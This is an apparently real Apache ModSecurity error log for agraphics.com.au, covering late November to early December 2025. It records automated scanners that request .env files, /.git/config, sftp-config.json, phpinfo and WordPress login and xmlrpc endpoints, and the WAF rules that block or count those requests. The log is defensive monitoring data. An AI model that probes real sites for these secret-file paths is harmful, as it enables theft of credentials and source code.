[Sun Nov 30 02:45:09.576172 2025] [:error] [pid 42163:tid 42219] [client 13.214.204.72:40012] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brevo.json"] [unique_id "aSs_NZnaEs-eGc51wg2f6AAAANg"]
[Sun Nov 30 02:45:09.966688 2025] [:error] [pid 29714:tid 29724] [client 13.214.204.72:40020] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brevo/config"] [unique_id "aSs_Nb76_KNwefuiUY-DowAAAEg"]
[Sun Nov 30 02:45:10.355947 2025] [:error] [pid 33303:tid 33311] [client 13.214.204.72:40036] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brevo.php"] [unique_id "aSs_NvvL3Xz3V8uL8l6AQgAAAYY"]
[Sun Nov 30 02:45:10.748126 2025] [:error] [pid 42164:tid 42246] [client 13.214.204.72:40046] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php"] [unique_id "aSs_Ntip8Nhatsq7KxzuvgAAARg"]
[Sun Nov 30 02:45:11.140910 2025] [:error] [pid 33337:tid 33363] [client 13.214.204.72:40052] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info"] [unique_id "aSs_Nz7HzFQftKzaJgJ_uQAAAdY"]
[Sun Nov 30 02:45:11.536014 2025] [:error] [pid 42163:tid 42202] [client 13.214.204.72:40068] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo"] [unique_id "aSs_N5naEs-eGc51wg2f6wAAAMc"]
[Sun Nov 30 02:45:11.925842 2025] [:error] [pid 42162:tid 42185] [client 13.214.204.72:40084] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSs_N9ePpz4Ije-_Ejr_2QAAAJI"]
[Sun Nov 30 03:05:58.588831 2025] [:error] [pid 42164:tid 42222] [client 187.180.43.35:55938] [client 187.180.43.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.180.43.35, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aStEFtip8Nhatsq7Kxzx9AAAAQA"]
[Sun Nov 30 03:05:58.600883 2025] [proxy_fcgi:error] [pid 42164:tid 42222] [client 187.180.43.35:55938] AH01071: Got error 'Primary script unknown'
[Sun Nov 30 03:07:55.867082 2025] [:error] [pid 53977:tid 54001] [client 39.45.170.210:57927] [client 39.45.170.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.45.170.210, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aStEi6CMKg3RMo8GfKIhgQAAAlY"]
[Sun Nov 30 03:07:55.893432 2025] [proxy_fcgi:error] [pid 53977:tid 54001] [client 39.45.170.210:57927] AH01071: Got error 'Primary script unknown'
[Sun Nov 30 04:28:25.465234 2025] [:error] [pid 26121:tid 26131] [client 13.229.90.59:60040] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aStXae3yAGZUIB-ACmAtWwAAAcg"]
[Sun Nov 30 04:28:25.466003 2025] [:error] [pid 24887:tid 24929] [client 13.229.90.59:60042] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aStXaSJvZUx0EaDWpzElvAAAAEw"]
[Sun Nov 30 04:28:25.466941 2025] [:error] [pid 24887:tid 24918] [client 13.229.90.59:60046] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "aStXaSJvZUx0EaDWpzElvQAAAEE"]
[Sun Nov 30 04:28:25.467192 2025] [:error] [pid 24887:tid 24924] [client 13.229.90.59:60044] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "aStXaSJvZUx0EaDWpzElvgAAAEc"]
[Sun Nov 30 04:28:25.467486 2025] [:error] [pid 25211:tid 25234] [client 13.229.90.59:60050] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "aStXaRuoEDf-fAjtDB3T6AAAAZQ"]
[Sun Nov 30 04:28:25.468170 2025] [:error] [pid 25211:tid 25222] [client 13.229.90.59:60048] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aStXaRuoEDf-fAjtDB3T6QAAAYg"]
[Sun Nov 30 04:28:25.842220 2025] [:error] [pid 26121:tid 26132] [client 13.229.90.59:60052] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "aStXae3yAGZUIB-ACmAtXQAAAck"]
[Sun Nov 30 04:28:25.842325 2025] [:error] [pid 24971:tid 24994] [client 13.229.90.59:60054] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "aStXaTUZcbcCmcDjhQ-_dgAAANU"]
[Sun Nov 30 04:28:26.785322 2025] [:error] [pid 28588:tid 28593] [client 13.229.90.59:60202] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "aStXaiYl5J2n_isyWOlO_QAAAkM"]
[Sun Nov 30 04:28:26.785439 2025] [:error] [pid 28588:tid 28605] [client 13.229.90.59:60204] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.sample"] [unique_id "aStXaiYl5J2n_isyWOlO_gAAAk8"]
[Sun Nov 30 04:28:27.221211 2025] [:error] [pid 26121:tid 26145] [client 13.229.90.59:60288] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "aStXa-3yAGZUIB-ACmAtZAAAAdY"]
[Sun Nov 30 04:28:27.666251 2025] [:error] [pid 24886:tid 24892] [client 13.229.90.59:60458] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "aStXa-cqOmvMtig3AI2lgAAAAAI"]
[Sun Nov 30 04:28:28.067606 2025] [:error] [pid 26121:tid 26143] [client 13.229.90.59:60534] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/vendor/.env"] [unique_id "aStXbO3yAGZUIB-ACmAtZgAAAdQ"]
[Sun Nov 30 04:28:28.223703 2025] [:error] [pid 25211:tid 25224] [client 13.229.90.59:60796] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lib/.env"] [unique_id "aStXbBuoEDf-fAjtDB3T8QAAAYo"]
[Sun Nov 30 04:28:28.467270 2025] [:error] [pid 24971:tid 24995] [client 13.229.90.59:60896] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lab/.env"] [unique_id "aStXbDUZcbcCmcDjhQ-_fAAAANY"]
[Sun Nov 30 04:28:28.815133 2025] [:error] [pid 26121:tid 26139] [client 13.229.90.59:32890] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cronlab/.env"] [unique_id "aStXbO3yAGZUIB-ACmAtaQAAAdA"]
[Sun Nov 30 04:28:29.239181 2025] [:error] [pid 24886:tid 24895] [client 13.229.90.59:33152] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cron/.env"] [unique_id "aStXbecqOmvMtig3AI2lhwAAAAU"]
[Sun Nov 30 04:28:29.452448 2025] [:error] [pid 26121:tid 26126] [client 13.229.90.59:33456] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "aStXbe3yAGZUIB-ACmAtbAAAAcM"]
[Sun Nov 30 04:28:29.696497 2025] [:error] [pid 24887:tid 24918] [client 13.229.90.59:33756] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/app/.env"] [unique_id "aStXbSJvZUx0EaDWpzEl0AAAAEE"]
[Sun Nov 30 04:28:29.697032 2025] [:error] [pid 26121:tid 26127] [client 13.229.90.59:33818] [client 13.229.90.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/Datavase/.env"] [unique_id "aStXbe3yAGZUIB-ACmAtbgAAAcQ"]
[Sun Nov 30 06:36:37.238814 2025] [:error] [pid 28588:tid 28606] [client 159.203.97.230:44360] [client 159.203.97.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSt1dSYl5J2n_isyWOlxfgAAAlA"]
[Sun Nov 30 06:36:40.222374 2025] [:error] [pid 63468:tid 63473] [client 159.203.97.230:55580] [client 159.203.97.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSt1eKGdTyPw0PxgJet_0gAAAAM"]
[Sun Nov 30 09:35:54.127714 2025] [:error] [pid 10518:tid 10544] [client 34.170.231.80:44734] [client 34.170.231.80] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSufeg8XjrhaEDJ0Rd9YSwAAAVc"]
[Sun Nov 30 21:35:47.388969 2025] [:error] [pid 10518:tid 10528] [client 35.222.252.124:41030] [client 35.222.252.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSxIMw8XjrhaEDJ0Rd_YoQAAAUc"]
[Sun Nov 30 21:51:41.901468 2025] [:error] [pid 10607:tid 10616] [client 104.236.242.93:43380] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSxL7XMxNFmf1l9xA_G1GgAAAsY"]
[Sun Nov 30 21:51:46.892028 2025] [:error] [pid 9375:tid 9421] [client 104.236.242.93:55158] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSxL8t-EkWIUe87KIjMzNgAAA1E"]
[Mon Dec 01 00:05:08.700181 2025] [:error] [pid 10550:tid 10585] [client 104.236.242.93:58042] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSxrNOl_8Vq2nipf7mGErgAAAoY"]
[Mon Dec 01 00:05:14.517184 2025] [:error] [pid 9374:tid 9387] [client 104.236.242.93:60700] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSxrOoEwr5jt_cokVdyWfAAAAwo"]
[Mon Dec 01 01:09:53.667998 2025] [:error] [pid 22995:tid 23009] [client 45.132.115.220:45961] [client 45.132.115.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.115.220, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aSx6YahgK6YGad0ApM9EVQAAAQs"]
[Mon Dec 01 01:09:53.679282 2025] [proxy_fcgi:error] [pid 22995:tid 23009] [client 45.132.115.220:45961] AH01071: Got error 'Primary script unknown'
[Mon Dec 01 02:37:05.188149 2025] [:error] [pid 25124:tid 25160] [client 103.65.237.153:53146] [client 103.65.237.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aSyO0Vl826mNLYSD9-3SUgAAAEc"]
[Mon Dec 01 03:30:59.785694 2025] [:error] [pid 6454:tid 6581] [client 187.19.156.213:25376] [client 187.19.156.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.19.156.213, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSybc9C8YMvEFRxwCsQ-uwAAAFg"]
[Mon Dec 01 03:30:59.797721 2025] [proxy_fcgi:error] [pid 6454:tid 6581] [client 187.19.156.213:25376] AH01071: Got error 'Primary script unknown'
[Mon Dec 01 04:26:34.179893 2025] [:error] [pid 38741:tid 38820] [client 35.222.252.124:36632] [client 35.222.252.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aSyoes0L1cmP6Y250z3VvQAAAJQ"]
[Mon Dec 01 06:24:25.489707 2025] [:error] [pid 39230:tid 39257] [client 104.236.242.93:57442] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSzEGaM8OwMp6GqAH1fnIgAAAVg"]
[Mon Dec 01 06:24:31.623245 2025] [:error] [pid 39231:tid 39270] [client 104.236.242.93:38242] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSzEH-7b3R8UMMGv2zJX0AAAAYo"]
[Mon Dec 01 12:57:17.999067 2025] [:error] [pid 50172:tid 50190] [client 104.236.242.93:56480] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS0gLWA_oUkA7PwzMCf6FgAAAE0"]
[Mon Dec 01 12:57:20.623352 2025] [:error] [pid 7182:tid 7194] [client 104.236.242.93:44558] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS0gMH9TcBzcTIZoEPhtNgAAAMk"]
[Mon Dec 01 14:31:32.698128 2025] [:error] [pid 50143:tid 50153] [client 104.236.242.93:42990] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS02RA4ii19UTfa9gmZRIwAAAAg"]
[Mon Dec 01 14:31:38.496809 2025] [:error] [pid 28260:tid 28280] [client 104.236.242.93:56478] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS02Si8gx66CDAIpR76AVgAAAZI"]
[Mon Dec 01 15:32:04.819755 2025] [:error] [pid 53361:tid 53442] [client 104.236.242.93:43726] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS1EdDWnVkhh6RvQHCoh6wAAABg"]
[Mon Dec 01 15:32:11.621458 2025] [:error] [pid 53361:tid 53439] [client 104.236.242.93:56184] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS1EezWnVkhh6RvQHCoh9AAAABU"]
[Mon Dec 01 18:10:02.627745 2025] [:error] [pid 5287:tid 5308] [client 104.236.242.93:47948] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS1peh9jNI276otUz6h07AAAAZA"]
[Mon Dec 01 18:10:17.423533 2025] [:error] [pid 53360:tid 53414] [client 104.236.242.93:53552] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS1piRALjvdOeXyvOe0BUwAAAJc"]
[Mon Dec 01 22:00:40.132669 2025] [:error] [pid 37486:tid 37494] [client 104.236.242.93:58390] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS2fiMFyhayybvna6fnlhgAAAEQ"]
[Mon Dec 01 22:00:51.510146 2025] [:error] [pid 37581:tid 37590] [client 104.236.242.93:57424] [client 104.236.242.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS2fk4pLkLAzaHoItga8MwAAAUc"]
[Tue Dec 02 02:20:43.111790 2025] [:error] [pid 56397:tid 56420] [client 103.65.236.149:53402] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aS3ce8GKI2_WNDIMokI0wgAAANU"]
[Tue Dec 02 02:37:56.141584 2025] [:error] [pid 18734:tid 18758] [client 35.223.54.147:41280] [client 35.223.54.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aS3ghBDodp5NNlEyq_AOlQAAAFU"]
[Tue Dec 02 02:38:59.832935 2025] [:error] [pid 25307:tid 25332] [client 35.224.10.236:55300] [client 35.224.10.236] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aS3gw3J-V-CI00LOhTPZqgAAAVc"]
